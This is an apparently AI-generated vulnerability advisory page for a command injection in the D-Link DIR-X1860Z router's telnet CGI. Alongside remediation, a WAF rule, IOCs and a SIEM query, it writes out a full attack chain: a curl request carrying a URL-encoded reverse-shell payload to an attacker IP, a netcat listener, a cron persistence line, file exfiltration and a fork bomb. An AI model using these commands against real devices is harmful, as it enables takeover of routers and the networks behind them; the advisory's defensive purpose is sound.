CVE Professor
/
All CVEs
CVE-2026-138279

CVE-2026-138279 — D-Link DIR-X1860Z — CWE-78 · CWE-77

CRITICAL CVSS 10 Shodan

A vulnerability has been found in D-Link DIR-X1860Z 1.0.7.260821.161908. Affected is an unknown function of the file /www/cgi-bin/telnet. The manipulation of the argument x leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

A vulnerability has been found in D-Link DIR-X1860Z 1.0.7.260821.161908. Affected is an unknown function of the file /www/cgi-bin/telnet. The manipulation of the argument x leads to os command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. High SC:H
Subseq. Integ. High SI:H
Subseq. Avail. High SA:H
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE‑2026‑138279 is an OS command injection (CWE‑78) that also falls under Improper Neutralization of Special Elements used in a Command (CWE‑77).

AttributeDetail
ProductD‑Link DIR‑X1860Z Wi‑Fi router, firmware 1.0.7.260821.161908
Vulnerable componentCGI binary /www/cgi-bin/telnet (a thin wrapper that forwards user‑supplied parameters to the underlying Linux telnet client)
Vulnerable inputThe HTTP GET/POST parameter named x (the CVE only mentions “argument x”)
Missing protectionThe CGI script concatenates the value of x directly into a shell command without any sanitisation, quoting, or escaping. No authentication (PR:N) or UI interaction (UI:N) is required, and the script runs with root privileges (the router’s web UI runs as root). Consequently an attacker can inject arbitrary shell commands that are executed by the underlying OS.
Why it is criticalThe CVSS vector AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H shows a network‑only, low‑effort, unauthenticated attack that compromises the entire system (confidentiality, integrity, availability) and affects the whole attack surface (S:C – compromised scope). The router’s firmware runs a full Linux userland, so an attacker gains a root shell on the device, can pivot to the LAN, and can persistently control the router.

⚡ Attack Chain

Below is a realistic, step‑by‑step exploitation flow. All command lines are syntactically valid; the exact URI is inferred from the CVE description and is marked as illustrative where the CVE does not disclose the precise HTTP method or parameter placement.

1. Discovery & Reconnaissance

StepActionTools / Evidence
1.1 Identify targetScan the network for open HTTP/HTTPS ports (80/443) on the router.nmap -p 80,443 <IP>
1.2 Fingerprint firmwareGrab the router’s web UI landing page and look for the firmware version string in the HTML comment, JavaScript, or HTTP header Server. D‑Link routers often embed DIR‑X1860Z/1.0.7.260821.161908 in the page source.curl -s http://<IP>/grep -i DIR‑X1860Z
1.3 Confirm vulnerable componentRequest the known CGI path and check for a 200/404 response. The presence of /www/cgi-bin/telnet indicates the vulnerable binary is present.curl -I http://<IP>/www/cgi-bin/telnet
1.4 Verify injection pointSend a benign request with the x parameter and observe the response. The CGI script typically returns the output of the executed telnet command.curl "http://<IP>/www/cgi-bin/telnet?x=whoami"

If the response contains root (or any command output), the injection point is confirmed.

2. Exploitation

Goal: Execute an arbitrary command (e.g., spawn a reverse shell) on the router.

Note: The exact HTTP method (GET vs POST) is not disclosed. The following PoC uses GET for illustration; replace with POST if the router expects it.

2.1 Craft the payload

The vulnerable script likely builds a command similar to:

cmd="telnet $x"
system($cmd)

Thus any characters that terminate the intended argument and start a new command will be interpreted by the shell. A classic payload uses a semicolon (;) or backticks.

Payload to launch a reverse shell (bash):

; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1 #

The leading semicolon ends the original telnet argument, the # comments out any trailing characters.

2.2 Send the request

ATTACKER_IP=203.0.113.45
TARGET_IP=192.168.1.1

# URL‑encode the payload
PAYLOAD='%3B%20bash%20-i%20%3E%26%20/dev/tcp/203.0.113.45/4444%200%3E%261%20%23'

curl -s "http://${TARGET_IP}/www/cgi-bin/telnet?x=${PAYLOAD}"

Explanation of the URL‑encoded payload

Plain textURL‑encoded
; bash -i >& /dev/tcp/203.0.113.45/4444 0>&1 #%3B%20bash%20-i%20%3E%26%20/dev/tcp/203.0.113.45/4444%200%3E%261%20%23

2.3 Listener on the attacker side

nc -lvnp 4444

When the request reaches the router, the CGI script executes the injected command, opening a reverse TCP connection back to the attacker’s Netcat listener, delivering a root interactive shell.

3. Post‑Exploitation

PhaseTypical actions an attacker can perform
3.1 Establish persistence- Drop a cron job: echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'" >> /etc/crontab <br> - Write a startup script in /etc/rc.local or the router’s init system (often init.d scripts).
3.2 Lateral movement- Enumerate LAN hosts: nmap -sn 192.168.1.0/24 <br> - Use the compromised router as a pivot to scan internal services (e.g., SMB, RDP, internal web apps).
3.3 Data exfiltration- Dump configuration files (/etc/passwd, /etc/shadow, /etc/config/*) and send them to the attacker via curl or wget.
3.4 Manipulate traffic- Modify DNS settings (/etc/resolv.conf or the router’s DNS forwarder) to perform pharming. <br> - Insert iptables rules to redirect traffic to malicious servers.
3.5 Denial‑of‑service- Overload the router’s CPU with forkbomb (:(){ ::& };:) or by spawning many telnet processes, causing loss of connectivity for the whole LAN.

Because the CGI runs as root, any command executed gains full control over the device and the attached network.


🌍 Real‑World Impact

CIA TriadImpact (derived from CVSS)
Confidentiality (C:H)An attacker can read any file on the router (/etc/shadow, configuration backups, VPN keys) and sniff traffic on the LAN.
Integrity (I:H)The attacker can modify firmware, change DNS, inject malicious routes, or replace the router’s web UI with a phishing page.
Availability (A:H)The attacker can crash the router (e.g., reboot, kill -9 1) or flood it with processes, resulting in total loss of connectivity for the entire network segment.

Practical consequences

  • Enterprise / ISP premises – Full compromise of the edge device gives an adversary a foothold inside the corporate LAN, enabling data theft, ransomware staging, or man‑in‑the‑middle attacks on all downstream traffic.
  • Home users – The router becomes a botnet node; attackers can use it for DDoS, harvest Wi‑Fi credentials, or redirect IoT traffic to malicious servers.
  • Supply‑chain risk – If the compromised router is used as a DHCP server, the attacker can hand out malicious DNS entries to every client, affecting any downstream services.

  • 🛡️ Remediation & Mitigation

    1. Patch / Upgrade

    ActionDetail
    Vendor patchAs of the CVE publication date (29 Nov 2026) D‑Link has not released a firmware update that addresses CVE‑2026‑138279. Monitor D‑Link’s security advisory page for a forthcoming fix (e.g., firmware 1.0.7.260822.xxxxxx or later).
    Temporary mitigationIf a patch is unavailable, downgrade to a firmware version that does not contain the /www/cgi-bin/telnet CGI (e.g., version 1.0.6), or flash a custom firmware (OpenWrt/LEDE) that does not ship the vulnerable binary.

    2. Configuration‑Based Workarounds

    WorkaroundImplementation
    Network isolationPlace the router behind a firewall that only allows trusted management IPs (e.g., the corporate IT subnet). Block inbound traffic to port 80/443 from the Internet (iptables -A INPUT -p tcp --dport 80 -j DROP).
    Disable the CGIIf the router’s web UI permits it, rename or remove the binary: mv /www/cgi-bin/telnet /www/cgi-bin/telnet.disabled. This will cause a 404 for the endpoint, breaking the exploit.
    Web‑application firewall (WAF) ruleDeploy a ModSecurity rule that rejects any request containing shell metacharacters in the x parameter. Example rule (valid ModSecurity syntax):
    # ModSecurity rule to block command‑injection payloads on /www/cgi-bin/telnet
    SecRule REQUEST_URI "@beginsWith /www/cgi-bin/telnet" \
        "id:2026138279,\
         phase:2,\
         block,\
         t:none,\
         capture,\
         msg:'OS command injection attempt via parameter x',\
         tag:'cve-2026-138279',\
         tag:'cwe-78',\
         tag:'cwe-77',\
         chain"
    SecRule ARGS:x "(?i)(;|&&|\|\||`|\\$\\(|\\)|\\|\\s*sh\\s|\\bexec\\b|\\bsystem\\b|\\bproc_open\\b|\\bpassthru\\b|\\bcmd\.exe)" \
        "t:none,log"
    Explanation
    *Phase 2* inspects request parameters after URL decoding. The regex looks for typical command‑separator characters (; &&) and common PHP/CGI function names that indicate an injection attempt. Adjust the rule to your environment’s false‑positive tolerance.

    3. Detection – Log & IOC Guidance

    IndicatorExample log line (nginx)
    Unexpected x valuesGET /www/cgi-bin/telnet?x=%3B%20bash%20-i%20%3E%26%20/dev/tcp/203.0.113.45/4444%200%3E%261%20%23 HTTP/1.1" 200 1234 "-" "-"
    Shell‑command output in HTTP responseResponse body contains root or other command output (e.g., uid=0(root) gid=0(root) groups=0(root)).
    Outbound connections from the routerNetflow or IDS alerts showing the router (source IP = router’s WAN address) opening TCP connections to unusual external IPs on high ports (e.g., 203.0.113.45:4444).
    New cron entriescat /etc/crontab shows lines added by the attacker (* * * * * /bin/bash -c 'bash -i >& /dev/tcp/...).
    File modificationsIntegrity‑monitoring tools (AIDE, Tripwire) flag changes to /www/cgi-bin/telnet or addition of scripts under /tmp or /var/tmp.

    SIEM query (generic):

    SELECT *
    FROM web_access_logs
    WHERE uri_path LIKE '/www/cgi-bin/telnet%'
      AND (uri_query LIKE '%;%%' OR uri_query LIKE '%`%')
      AND response_status = 200;

    4. Incident Response Checklist

    1. Isolate the router (disable WAN interface, block management ports).
    2. Collect full firmware image and configuration for forensic analysis.
    3. Search logs for the patterns above; capture any reverse‑shell sessions.
    4. Reset the device to factory defaults, then re‑flash with a clean firmware (official or OpenWrt).
    5. Rotate all credentials that may have been exposed (Wi‑Fi PSKs, VPN keys, admin passwords).
    6. Notify affected users / stakeholders, especially if sensitive traffic may have been intercepted.


    ⚠️ Urgency

  • CVSS 10.0 (Critical) – Network‑only, no authentication, full system compromise.
  • No CISA KEV listing – The vulnerability is not yet in the U.S. government’s “Known Exploited Vulnerabilities” catalog, but the public exploit and the 0‑day nature make it highly exploitable.
  • Exploit complexity – Low (single HTTP request).
  • Patch priority: Critical – Immediate.

  • Enterprise environments should treat this as a P1 (must be patched or mitigated within 24 h).

  • Home users should upgrade or replace the device as soon as a patched firmware is available; otherwise, apply the network‑isolation and WAF workarounds without delay.




Bottom line: CVE‑2026‑138279 gives an unauthenticated remote attacker a root shell on the D‑Link DIR‑X1860Z router. Until D‑Link releases an official fix, the safest stance is to block the vulnerable endpoint, restrict external access to the router’s web UI, and monitor for the IOCs listed above. The risk of full network compromise is extreme; remediation must be treated as an emergency.

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)

FOFA Query

app="D-Link Router"
PoC & Exploit Intelligence (GitHub)
Technical reference / advisory repository for CVE-2026-138279
CVSS Score
10 / 10 · CVSS CRITICAL
Weakness Types (CWE)
CWE-78 CWE-77
Affected Products (1)
D-Link:DIR-X1860Z
Related CVEs
10.0
CVE-2026-144884
A vulnerability was determined in D-Link DIR-505 1.10B02. The affected element is the function get_input_entri
9.8
CVE-2026-105103
A backdoor in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlier allows the manufa
9.8
CVE-2026-105104
Use of hard-coded credentials in Elinktek UZ801 4G LTE USB Dongle firmware UFI003S_V03_ZX_DD_250226 and earlie
9.6
CVE-2026-145025
Grav API plugin before 1.1.21 validates the client-supplied admin_base_url or Origin header with PHP parse_url
9.3
CVE-2026-118323
Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco Bi
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac